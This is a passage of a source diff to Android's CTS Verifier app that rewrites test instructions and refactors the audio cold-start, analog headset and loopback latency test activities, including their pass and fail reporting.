diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 7f9e132..95a1ef2 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -15,6 +15,7 @@
 -->
 <resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
     <string name="app_name">CTS Verifier</string>
+    <string name="module_id">noabi CtsVerifier</string>
 
     <string name="title_version">CTS Verifier %1$s</string>
 
@@ -875,7 +876,8 @@
     <string name="ibo_test">Ignore Battery Optimizations Test</string>
     <string name="ibo_test_info">
         This test verifies that the device provides a user affordance to ask the user if the system
-        should disable battery optimizations for an app.
+        should disable battery optimizations for an app and to allow a user to remove the app from
+        the exemption list.
     </string>
     <string name="ibo_test_start_unexempt_app">
         Remove the test app from the ignore battery optimizations list to begin the test. (Try going
@@ -887,8 +889,9 @@
     <string name="ibo_next_to_confirm">Press next to confirm.</string>
     <string name="ibo_app_not_exempted">The app is not exempted from battery optimizations.</string>
     <string name="ibo_unexempt_app">
-        Remove the test app from the ignore battery optimizations list. (Try going
-        to the App Info page and make sure the system is optimizing battery for the app.)
+        Remove the test app from the ignore battery optimizations list. (Either run \"adb shell cmd
+        deviceidle whitelist -com.android.cts.verifier\" or open the list of apps and their
+        exemption statuses. Find the test app in the list and remove the app\'s exemption.)
     </string>
     <string name="ibo_app_is_exempted">The app is exempted from battery optimizations.</string>
     <string name="ibo_exempt_app_list">
@@ -5086,8 +5089,8 @@
         To pass the test, the device need only achieve this on one of the following audio paths:\n
           - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a 3.5mm headset jack.\n
           - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a USB audio adapter.\n
-          - a USB interface with patch cords connecting the input and output jacks.\n
-          Please connect one of these Loopback mechanisms, and proceed with the instructions
+          - a USB interface with patch cords connecting the input and output jacks.
+          \nPlease connect one of these Loopback mechanisms, and proceed with the instructions
           on the screen. The required &amp; recommended latencies will be displayed.
           The system will measure the input-output audio latency by injecting an audio signal to
           the output and compute the time between generating the signal and recording it back.
@@ -5113,11 +5116,34 @@
     <string name="audio_coldstart_in_latency_test">Audio Cold Start Input Latency Test</string>
 
     <string name="audio_coldstart_output_info">
-        This test measures the time required to output audio from a suspended \"cold\" audio system.
-        It requires that touch-sounds be disabled in the device \"Sound &amp; Vibration\" settings
+        This test measures the time required to play audio from a suspended \"cold\" audio system.
+        This time is defined as the \"cold start latency\". To pass this test, a maximum
+        cold start latency time of 500ms or less is REQUIRED, while a time of 100ms or less
+        is STRONGLY RECOMMENDED. (See <a href="https://source.android.com/compatibility/android-cdd#5_6_audio_latency">Android CDD § 5.6. Audio Latency</a>)
+        \n\nTo run this test, it is required to have touch-sounds disabled in the device
+        \"Sound &amp; Vibration\" settings
         panel.
+        \n\nThe \"Java API\" and \"Native API\" allow for capturing performance data from the
+        two streaming APIs. The cold start latency measurement need only pass for one API.
+        The Native API generally gives the best performance.
+        \n\nAlthough not part of the pass criteria, the test will also report \"open\" &amp;
+        \"start\" times. Open time is the time taken to allocate and prepare the player for the
+        specified stream attributes. Start time is the time taken to start playing audio on an
+        open stream.
     </string>
-    <string name="audio_coldstart_input_info">Info Here</string>
+    <string name="audio_coldstart_input_info">
+        This test measures the time required to record audio from a suspended \"cold\" audio system.
+        This time is defined as the \"cold start latency\". To pass this test, a maximum
+        cold start latency time of 500ms or less is REQUIRED, while a time of 100ms or less
+        is STRONGLY RECOMMENDED. (See <a href="https://source.android.com/compatibility/android-cdd#5_6_audio_latency">Android CDD § 5.6. Audio Latency</a>)
+        \n\nThe \"Java API\" and \"Native API\" allow for capturing performance data from the
+        two streaming APIs. The cold start latency measurement need only pass for one API.
+        The Native API generally gives the best performance.
+        \n\nAlthough not part of the pass criteria, the test will also report \"open\" &amp;
+        \"start\" times. Open time is the time taken to allocate and prepare the recorder for the
+        specified stream attributes. Start time is the time taken to start recording audio on an
+        open stream.
+    </string>
     <string name="audio_coldstart_outputlbl">Output Cold Start Latency</string>
     <string name="audio_coldstart_inputlbl">Input Cold Start Latency</string>
     <string name="audio_coldstart_touchsounds_message">
@@ -5245,18 +5271,34 @@
     <string name="analog_headset_query">Does this Android device have an analog headset jack?</string>
     <string name="analog_headset_play">Play</string>
     <string name="analog_headset_stop">Stop</string>
-    <string name="analog_headset_success_question">Was the audio correctly played through the headset/headphones?</string>
-    <string name="analog_headset_keycodes_label">Headset Keycodes</string>
+    <string name="analog_headset_playback_prompt">Play a test tone and verify correct playback</string>
+    <string name="analog_headset_playback_query">Was the audio correctly played through the headset?</string>
+    <string name="analog_headset_keycodes_label">Headset key codes</string>
     <string name="analog_headset_headsethook">HEADSETHOOK</string>
     <string name="analog_headset_volup">VOLUME_UP</string>
     <string name="analog_headset_voldown">VOLUME_DOWN</string>
     <string name="analog_headset_test">Analog Headset Test</string>
-    <string name="analog_headset_test_info">
-        This test tests the following functionality with respect to wired analog headset/headphones.\n
+    <string name="analog_headset_pass_noheadset">"PASS. No headset port available."</string>
+    <string name="analog_headset_pass">PASS.</string>
+    <string name="analog_headset_port_detected">"Analog port detected."</string>
+    <string name="analog_headset_press_buttons">Press headset buttons to verify recognition.</string>
+    <string name="analog_headset_headset_connected">Headset connected.</string>
+    <string name="analog_headset_no_headset">No Headset. Connect headset to 3.5mm analog jack.</string>
+    <string name="analog_headset_action_received">ACTION_HEADSET_PLUG received - </string>
+    <string name="analog_headset_unplugged">Unplugged</string>
+    <string name="analog_headset_plugged">Plugged</string>
+    <string name="analog_headset_mic"> [mic]</string>
+    <string name="analog_headset_test_info">This test tests the following functionality with respect to wired analog headsets.\n
         1. Correct audio playback.\n
         2. Plug intents.\n
         3. Headset keycodes.\n
-        To run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.
+        \nTo execute test:\n
+        1. Plug in an Android-compatible, analog headset. Verify connection/recognition.\n
+        2. Play test tone and verify correct behavior.\n
+        3. Press headset buttons until all are recognized on the test screen.\n
+        \nTo run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.\n
+        \n(see <a href="https://source.android.com/devices/accessories/headset/plug-headset-spec">3.5 mm Headset: Accessory Specification</a> and
+        <a href="https://source.android.com/compatibility/android-cdd#7_8_2_1_analog_audio_ports">Android CDD § 7.8.2.1. Analog Audio Ports</a>)
     </string>
     <!-- Audio AEC Test -->
     <string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 3c43953..c1e43e1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -19,35 +19,26 @@
 import android.content.Context;
 import android.os.Build;
 import android.text.TextUtils;
-import android.util.Xml;
 
 import com.android.compatibility.common.util.DevicePropertyInfo;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
-import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ITestResult;
-import com.android.compatibility.common.util.MetricsXmlSerializer;
+import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.TestResultHistory;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.cts.verifier.TestListActivity.DisplayMode;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
-import org.xmlpull.v1.XmlSerializer;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
 import java.text.DateFormat;
 import java.text.SimpleDateFormat;
-import java.util.Arrays;
 import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
-import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Set;
 
@@ -72,7 +63,6 @@
     private static final String TEST_TAG = "test";
     private static final String TEST_DETAILS_TAG = "details";
 
-    private static final String MODULE_ID = "noabi CtsVerifier";
     private static final String TEST_CASE_NAME = "manualTests";
 
     private final Context mContext;
@@ -91,7 +81,8 @@
         String versionBaseOs = null;
         String versionSecurityPatch = null;
         IInvocationResult result = new InvocationResult();
-        IModuleResult moduleResult = result.getOrCreateModule(MODULE_ID);
+        IModuleResult moduleResult = result.getOrCreateModule(
+                mContext.getResources().getString(R.string.module_id));
 
         // Collect build fields available in API level 21
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index c998c54..4ce2a12 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -24,6 +24,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.res.Resources;
 
 import android.graphics.Color;
 
@@ -60,6 +61,7 @@
     private AudioManager    mAudioManager;
 
     // UI
+    private TextView mHasPortQueryText;
     private Button mHasAnalogPortYesBtn;
     private Button mHasAnalogPortNoBtn;
 
@@ -67,10 +69,12 @@
     private Button mStopButton;
     private Button mPlaybackSuccessBtn;
     private Button mPlaybackFailBtn;
+    private TextView mPlaybackStatusTxt;
 
     private TextView mHeadsetNameText;
     private TextView mHeadsetPlugMessage;
 
+    private TextView mButtonsPromptTxt;
     private TextView mHeadsetHookText;
     private TextView mHeadsetVolUpText;
     private TextView mHeadsetVolDownText;
@@ -90,6 +94,8 @@
     private boolean mHasVolUp;
     private boolean mHasVolDown;
 
+    private TextView mResultsTxt;
+
     // Player
     protected boolean mIsPlaying = false;
 
@@ -113,6 +119,7 @@
         mHeadsetPlugMessage = (TextView)findViewById(R.id.headset_analog_plug_message);
 
         // Analog Port?
+        mHasPortQueryText = (TextView)findViewById(R.id.analog_headset_query) ;
         mHasAnalogPortYesBtn = (Button)findViewById(R.id.headset_analog_port_yes);
         mHasAnalogPortYesBtn.setOnClickListener(this);
         mHasAnalogPortNoBtn = (Button)findViewById(R.id.headset_analog_port_no);
@@ -123,6 +130,7 @@
         mPlayButton.setOnClickListener(this);
         mStopButton = (Button)findViewById(R.id.headset_analog_stop);
         mStopButton.setOnClickListener(this);
+        mPlaybackStatusTxt = (TextView)findViewById(R.id.analog_headset_playback_status);
 
         // Play Status
         mPlaybackSuccessBtn = (Button)findViewById(R.id.headset_analog_play_yes);
@@ -133,10 +141,13 @@
         mPlaybackFailBtn.setEnabled(false);
 
         // Keycodes
+        mButtonsPromptTxt = (TextView)findViewById(R.id.analog_headset_keycodes_prompt);
         mHeadsetHookText = (TextView)findViewById(R.id.headset_keycode_headsethook);
         mHeadsetVolUpText = (TextView)findViewById(R.id.headset_keycode_volume_up);
         mHeadsetVolDownText = (TextView)findViewById(R.id.headset_keycode_volume_down);
 
+        mResultsTxt = (TextView)findViewById(R.id.headset_results);
+
         mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
 
         setupPlayer();
@@ -161,12 +172,17 @@
     //
     private boolean calculatePass() {
         if (!mHasHeadsetPort) {
+            mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset));
             return true;
         } else {
-            return mPlugIntentReceived &&
+            boolean pass = mPlugIntentReceived &&
                     mHeadsetDeviceInfo != null &&
                     mPlaybackSuccess &&
                     (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
+            if (pass) {
+                mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass));
+            }
+            return pass;
         }
     }
 
@@ -177,20 +193,19 @@
                 has ? 1 : 0,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
-        if (has) {
-            mHasAnalogPortNoBtn.setEnabled(false);
-        } else {
-            mHasAnalogPortYesBtn.setEnabled(false);
-        }
         enablePlayerButtons(has && mHeadsetDeviceInfo != null);
 
         if (!has) {
             // no port, so can't test. Let them pass
-            getPassButton().setEnabled(true);
+            getPassButton().setEnabled(calculatePass());
         }
     }
 
     private void reportPlugIntent(Intent intent) {
+        // NOTE: This is a "sticky" intent meaning that if a headset has EVER been plugged in
+        // (since a reboot), we will receive this intent.
+        Resources resources = getResources();
+
         // [C-1-4] MUST trigger ACTION_HEADSET_PLUG upon a plug insert,
         // but only after all contacts on plug are touching their relevant segments on the jack.
         mPlugIntentReceived = true;
@@ -201,9 +216,11 @@
 
         int state = intent.getIntExtra("state", -1);
         if (state != -1) {
-
             StringBuilder sb = new StringBuilder();
-            sb.append("ACTION_HEADSET_PLUG received - " + (state == 0 ? "Unplugged" : "Plugged"));
+            sb.append(resources.getString(R.string.analog_headset_action_received)
+                    + resources.getString(
+                            state == 0 ? R.string.analog_headset_unplugged
+                                       : R.string.analog_headset_plugged));
 
             String name = intent.getStringExtra("name");
             if (name != null) {
@@ -212,11 +229,23 @@
 
             int hasMic = intent.getIntExtra("microphone", 0);
             if (hasMic == 1) {
-                sb.append(" [mic]");
+                sb.append(resources.getString(R.string.analog_headset_mic));
             }
 
             mHeadsetPlugMessage.setText(sb.toString());
+
+            // If we receive this intent, there is no need to ask if there is an analog jack.
+            reportHeadsetPort(true);
+
+            mHasPortQueryText.setText(getResources().getString(
+                    R.string.analog_headset_port_detected));
+            mHasAnalogPortYesBtn.setVisibility(View.GONE);
+            mHasAnalogPortNoBtn.setVisibility(View.GONE);
+
+            mPlaybackStatusTxt.setText(getResources().getString(
+                    R.string.analog_headset_playback_prompt));
         }
+
         getReportLog().addValue(
                 "ACTION_HEADSET_PLUG Intent Received. State: ",
                 state,
@@ -228,14 +257,9 @@
         // [C-1-1] MUST support audio playback to stereo headphones
         // and stereo headsets with a microphone.
         mPlaybackSuccess = success;
-        if (success) {
-            mPlaybackFailBtn.setEnabled(false);
-        } else {
-            mPlaybackSuccessBtn.setEnabled(false);
-        }
 
         mPlaybackSuccessBtn.setEnabled(success);
-        mPlaybackFailBtn.setEnabled(success);
+        mPlaybackFailBtn.setEnabled(!success);
 
         getPassButton().setEnabled(calculatePass());
 
@@ -244,6 +268,11 @@
                 success ? 1 : 0,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
+
+        if (success) {
+            mButtonsPromptTxt.setText(getResources().getString(
+                    R.string.analog_headset_press_buttons));
+        }
     }
 
     //
@@ -251,12 +280,10 @@
     //
     private void showConnectedDevice() {
         if (mHeadsetDeviceInfo != null) {
-            mHeadsetNameText.setText(
-                    mHeadsetDeviceInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
-                    ? "Headset Connected"
-                    : "Headphones Connected");
+            mHeadsetNameText.setText(getResources().getString(
+                    R.string.analog_headset_headset_connected));
         } else {
-            mHeadsetNameText.setText("No Headset/Headphones Connected");
+            mHeadsetNameText.setText(getResources().getString(R.string.analog_headset_no_headset));
         }
     }
 
@@ -299,6 +326,9 @@
             mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
             mAudioPlayer.startStream();
             mIsPlaying = true;
+
+            mPlayButton.setEnabled(false);
+            mStopButton.setEnabled(true);
         }
     }
 
@@ -307,6 +337,12 @@
             mAudioPlayer.stopStream();
             mAudioPlayer.teardownStream();
             mIsPlaying = false;
+
+            mPlayButton.setEnabled(true);
+            mStopButton.setEnabled(false);
+
+            mPlaybackStatusTxt.setText(getResources().getString(
+                    R.string.analog_headset_playback_query));
         }
     }
 
@@ -365,7 +401,6 @@
         }
 
         showConnectedDevice();
-        enablePlayerButtons(mHeadsetDeviceInfo != null);
     }
 
     private class ConnectListener extends AudioDeviceCallback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java
index 71448df..0d06c48 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java
@@ -71,6 +71,7 @@
     TextView mAttributesTxt;
     TextView mOpenTimeTxt;
     TextView mStartTimeTxt;
+    TextView mLatencyTxt;
     TextView mResultsTxt;
 
     // Time-base conversions
@@ -109,13 +110,24 @@
     }
 
     void showColdStartLatency() {
-        mResultsTxt.setText("latency: " + mColdStartlatencyMS);
+        mLatencyTxt.setText("Latency: " + mColdStartlatencyMS);
+
+        if (mColdStartlatencyMS <= getRecommendedTimeMS()) {
+            mResultsTxt.setText("PASS. Meets RECOMMENDED latency of "
+                    + getRecommendedTimeMS() + "ms");
+        } else if (mColdStartlatencyMS <= getRequiredTimeMS()) {
+            mResultsTxt.setText("PASS. Meets REQUIRED latency of " + getRequiredTimeMS() + "ms");
+        } else {
+            mResultsTxt.setText("FAIL. Did not meet REQUIRED latency of " + getRequiredTimeMS()
+                    + "ms");
+        }
     }
 
     protected void clearResults() {
         mAttributesTxt.setText("");
         mOpenTimeTxt.setText("");
         mStartTimeTxt.setText("");
+        mLatencyTxt.setText("");
         mResultsTxt.setText("");
     }
 
@@ -137,9 +149,13 @@
         mAttributesTxt = ((TextView) findViewById(R.id.coldstart_attributesTxt));
         mOpenTimeTxt = ((TextView) findViewById(R.id.coldstart_openTimeTxt));
         mStartTimeTxt = ((TextView) findViewById(R.id.coldstart_startTimeTxt));
-        mResultsTxt = (TextView) findViewById(R.id.coldstart_coldLatencyTxt);
+        mLatencyTxt = (TextView) findViewById(R.id.coldstart_coldLatencyTxt);
+        mResultsTxt = (TextView) findViewById(R.id.coldstart_coldResultsTxt);
     }
 
+    abstract int getRequiredTimeMS();
+    abstract int getRecommendedTimeMS();
+
     abstract boolean startAudioTest();
     abstract void stopAudioTest();
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
index ec0ff2e..5ed51e3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -267,7 +267,7 @@
 
         //Init bands for Mic test
         mBandSpecsMic[0] = new AudioBandSpecs(
-                5, 100,          /* frequency start,stop */
+                30, 100,         /* frequency start,stop */
                 20.0, -20.0,     /* start top,bottom value */
                 20.0, -20.0      /* stop top,bottom value */);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
index 9af7e14..346a526 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
@@ -48,7 +48,7 @@
     // MegaAudio
     private Recorder mRecorder;
 
-    private TextView mCallbackDeltaTxt;
+//    private TextView mCallbackDeltaTxt;
 
     private long mPreviousCallbackTime;
     private long mCallbackDeltaTime;
@@ -88,15 +88,24 @@
     }
 
     void showInResults() {
-        showColdStartLatency();
-
         calcTestResult();
+        showColdStartLatency();
     }
 
     protected void stopAudio() {
         stopAudioTest();
     }
 
+    @Override
+    int getRequiredTimeMS() {
+        return LATENCY_MS_MUST;
+    }
+
+    @Override
+    int getRecommendedTimeMS() {
+        return LATENCY_MS_RECOMMEND;
+    }
+
     //
     // Audio Streaming
     //
@@ -124,7 +133,7 @@
 
             mIsTestRunning = true;
         } catch (RecorderBuilder.BadStateException badStateException) {
-            mResultsTxt.setText("Can't Start Recorder.");
+            mLatencyTxt.setText("Can't Start Recorder.");
             Log.e(TAG, "BadStateException: " + badStateException);
             mIsTestRunning = false;
         }
@@ -150,6 +159,7 @@
         }
 
         mRecorder.stopStream();
+        mRecorder.teardownStream();
 
         mIsTestRunning = false;
 
@@ -164,7 +174,7 @@
     // Callback for Recorder
     /*
      * Monitor callbacks until they become consistent (i.e. delta between callbacks is below
-     * some threshold like 1/8 the "nominal" callback time. This is defined as the "cold start
+     * some threshold like 1/8 the "nominal" callback time). This is defined as the "cold start
      * latency". Calculate that time and display the results.
      */
     class ColdStartAppCallback implements AppCallback {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 0b07e49..78e34d3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -26,6 +26,7 @@
 import android.os.Message;
 import android.util.Log;
 import android.view.View;
+import android.view.View.OnClickListener;
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.ProgressBar;
@@ -77,6 +78,9 @@
     ProgressBar mProgressBar;
     int mMaxLevel;
 
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+    protected Button mTestButton;
+
     String mYesString;
     String mNoString;
 
@@ -94,6 +98,7 @@
     AudioDeviceInfo mOutputDevInfo;
     AudioDeviceInfo mInputDevInfo;
 
+    protected static final int TESTPERIPHERAL_INVALID       = -1;
     protected static final int TESTPERIPHERAL_NONE          = 0;
     protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
     protected static final int TESTPERIPHERAL_USB           = 2;
@@ -222,9 +227,16 @@
         }
     }
 
-    protected void calculateTestPeripheral() {
+    private void calculateTestPeripheral() {
         if (!mIsPeripheralAttached) {
-            mTestPeripheral = TESTPERIPHERAL_DEVICE;
+            if ((mOutputDevInfo != null && mInputDevInfo == null)
+                || (mOutputDevInfo == null && mInputDevInfo != null)) {
+                mTestPeripheral = TESTPERIPHERAL_INVALID;
+            } else {
+                mTestPeripheral = TESTPERIPHERAL_DEVICE;
+            }
+        } else if (!areIODevicesOnePeripheral()) {
+            mTestPeripheral = TESTPERIPHERAL_INVALID;
         } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
                 mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
             mTestPeripheral = TESTPERIPHERAL_USB;
@@ -238,21 +250,25 @@
         }
     }
 
-    protected boolean isPeripheralValidForTest() {
+    private boolean isPeripheralValidForTest() {
         return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
-                || mTestPeripheral == TESTPERIPHERAL_USB;
-
+                    || mTestPeripheral == TESTPERIPHERAL_USB;
     }
-    protected void showConnectedAudioPeripheral() {
+
+    private void showConnectedAudioPeripheral() {
         mInputDeviceTxt.setText(
                 mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
-                        : "");
+                        : "Not connected");
         mOutputDeviceTxt.setText(
                 mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
-                        : "");
+                        : "Not connected");
 
         String pathName;
         switch (mTestPeripheral) {
+            case TESTPERIPHERAL_INVALID:
+                pathName = "Invalid Test Peripheral";
+                break;
+
             case TESTPERIPHERAL_ANALOG_JACK:
                 pathName = "Headset Jack";
                 break;
@@ -271,6 +287,18 @@
                 break;
         }
         mTestPathTxt.setText(pathName);
+        mTestButton.setEnabled(
+                mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
+
+    }
+
+    private boolean areIODevicesOnePeripheral() {
+        if (mOutputDevInfo == null || mInputDevInfo == null) {
+            return false;
+        }
+
+        return mOutputDevInfo.getProductName().toString().equals(
+                mInputDevInfo.getProductName().toString());
     }
 
     private void calculateLatencyThresholds() {
@@ -352,6 +380,8 @@
     private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
     private static final String KEY_TEST_MMAP = "supports_mmap";
     private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
+    private static final String KEY_LEVEL = "level";
+    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
 
     @Override
     public String getTestId() {
@@ -435,18 +465,18 @@
                     ResultType.NEUTRAL,
                     ResultUnit.NONE);
         }
-    }
 
-    private static final String KEY_LOOPBACK_AVAILABLE = "loopback_available";
-    private void recordLoopbackStatus(boolean has) {
-        getReportLog().addValue(
-                KEY_LOOPBACK_AVAILABLE,
-                has,
+        int audioLevel = mAudioLevelSeekbar.getProgress();
+        reportLog.addValue(
+                KEY_LEVEL,
+                audioLevel,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
+
+        reportLog.submit();
     }
 
-    protected void startAudioTest(Handler messageHandler) {
+    private void startAudioTest(Handler messageHandler) {
         getPassButton().setEnabled(false);
 
         mTestPhase = 0;
@@ -478,12 +508,18 @@
         }
     }
 
-    protected void handleTestCompletion() {
+    private void handleTestCompletion() {
         mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
         mMeanAbsoluteDeviation =
                 StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
         mMeanConfidence = StatUtils.calculateMean(mConfidence);
 
+        boolean pass = isPeripheralValidForTest()
+                && mMeanConfidence >= CONFIDENCE_THRESHOLD
+                && mMeanLatencyMillis > EPSILON
+                && mMeanLatencyMillis < mMustLatency;
+
+        getPassButton().setEnabled(pass);
 
         String result;
         if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
@@ -492,10 +528,11 @@
                     mMeanConfidence, CONFIDENCE_THRESHOLD);
         } else {
             result = String.format(
-                    "Test Finished\nMean Latency:%.2f ms (required:%.2f)\n" +
+                    "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
                             "Mean Absolute Deviation: %.2f\n" +
                             " Confidence: %.2f\n" +
                             " Low Latency Path: %s",
+                    (pass ? "PASS" : "FAIL"),
                     mMeanLatencyMillis,
                     mMustLatency,
                     mMeanAbsoluteDeviation,
@@ -512,9 +549,14 @@
             }
         }
         mResultText.setText(result);
+
+        recordTestResults();
+
+        showWait(false);
+        mTestButton.setEnabled(true);
     }
 
-    protected void handleTestPhaseCompletion() {
+    private void handleTestPhaseCompletion() {
         if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
             mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
             mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
@@ -545,7 +587,7 @@
     /**
      * handler for messages from audio thread
      */
-    protected Handler mMessageHandler = new Handler() {
+    private Handler mMessageHandler = new Handler() {
         public void handleMessage(Message msg) {
             super.handleMessage(msg);
             switch(msg.what) {
@@ -588,6 +630,12 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        setContentView(R.layout.audio_loopback_latency_activity);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
         mClaimsOutput = AudioSystemFlags.claimsOutput(this);
         mClaimsInput = AudioSystemFlags.claimsInput(this);
         mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
@@ -611,6 +659,9 @@
 
         mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
 
+        mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
+        mTestButton.setOnClickListener(mBtnClickListener);
+
         mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
 
         mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
@@ -620,4 +671,16 @@
         calculateLatencyThresholds();
         displayLatencyThresholds();
     }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_loopback_test_btn:
+                    Log.i(TAG, "audio loopback test");
+                    startAudioTest(mMessageHandler);
+                    break;
+            }
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index f808073..9490091 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -16,116 +16,9 @@
 
 package com.android.cts.verifier.audio;
 
-import android.os.Bundle;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.R;
-
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-
 /**
  * Tests Audio Device roundtrip latency by using a loopback plug.
  */
 public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
     private static final String TAG = AudioLoopbackLatencyActivity.class.getSimpleName();
-
-//    public static final int BYTES_PER_FRAME = 2;
-
-    private int mMinBufferSizeInFrames = 0;
-
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
-    Button mTestButton;
-
-    // ReportLog Schema
-    private static final String KEY_LEVEL = "level";
-    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
